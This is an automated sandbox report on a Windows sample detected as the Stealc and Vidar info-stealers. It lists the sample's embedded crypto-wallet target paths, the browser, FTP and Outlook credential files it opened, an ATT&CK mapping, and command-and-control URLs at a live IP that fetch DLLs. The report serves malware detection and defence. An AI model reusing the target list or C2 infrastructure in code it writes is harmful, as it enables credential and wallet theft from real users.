Source: file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2631399968.0000000001A53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 5580, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.df0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2629516895.0000000000DF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2171006516.0000000005830000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2631399968.000000000199E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5580, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5580, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	24 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	24 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://www.broofa.com	0%	URL Reputation	safe
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-4.corp.google.com/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
https://www.tiktok.com/	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	unknown
plus.l.google.com	142.250.184.238	true	false	unknown
play.google.com	142.250.186.174	true	false	unknown
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	unknown
sb.scorecardresearch.com	18.244.18.122	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
www.google.com	142.250.186.68	true	false	unknown
googlehosted.l.googleusercontent.com	142.250.186.65	true	false	unknown
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	unknown
assets.msn.com	unknown	unknown	false	unknown
r.msftstatic.com	unknown	unknown	false	unknown
c.msn.com	unknown	unknown	false	unknown
deff.nelreports.net	unknown	unknown	false	unknown
ntp.msn.com	unknown	unknown	false	unknown
clients2.googleusercontent.com	unknown	unknown	false	unknown
bzib.nelreports.net	unknown	unknown	false	unknown
18.31.95.13.in-addr.arpa	unknown	unknown	false	unknown
apis.google.com	unknown	unknown	false	unknown
api.msn.com	unknown	unknown	false	unknown
browser.events.data.msn.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
https://sb.scorecardresearch.com/b?rn=1730300377539&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=07F34F268BE36FD729115A0E8A126EB4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	unknown
http://185.215.113.206/746f34465cf17784/msvcp140.dll	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
https://play.google.com/log?format=json&hasfast=true	false	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true	unknown
https://clients2.googleusercontent.com/crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx	false	unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2380801259.0000000001A73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2484704780.0000000023F7A000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, DAECGCGH.0.dr, HCAEGCBF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phptop	file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2380801259.0000000001A73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2484704780.0000000023F7A000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, DAECGCGH.0.dr, HCAEGCBF.0.dr	false	URL Reputation: safe	unknown
http://www.broofa.com	chromecache_454.5.dr	false	URL Reputation: safe	unknown
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://ntp.msn.com/0	000003.log7.9.dr	false		unknown
https://ntp.msn.com/_default	QuotaManager.9.dr	false		unknown
https://www.last.fm/	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.9.dr	false	URL Reputation: safe	unknown
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		unknown
https://aefd.nelreports.net/api/report?cat=bingcsp	Reporting and NEL.10.dr	false		unknown
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://deff.nelreports.net/api/report	Reporting and NEL.10.dr	false		unknown
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_458.5.dr	false	URL Reputation: safe	unknown
https://docs.google.com/	manifest.json.9.dr	false		unknown
https://www.youtube.com	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://www.google.com	chromecache_454.5.dr	false		unknown
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.10.dr	false		unknown
https://www.instagram.com	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://web.skype.com/?browsername=edge_canary_shoreline	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://drive.google.com/	manifest.json.9.dr	false		unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
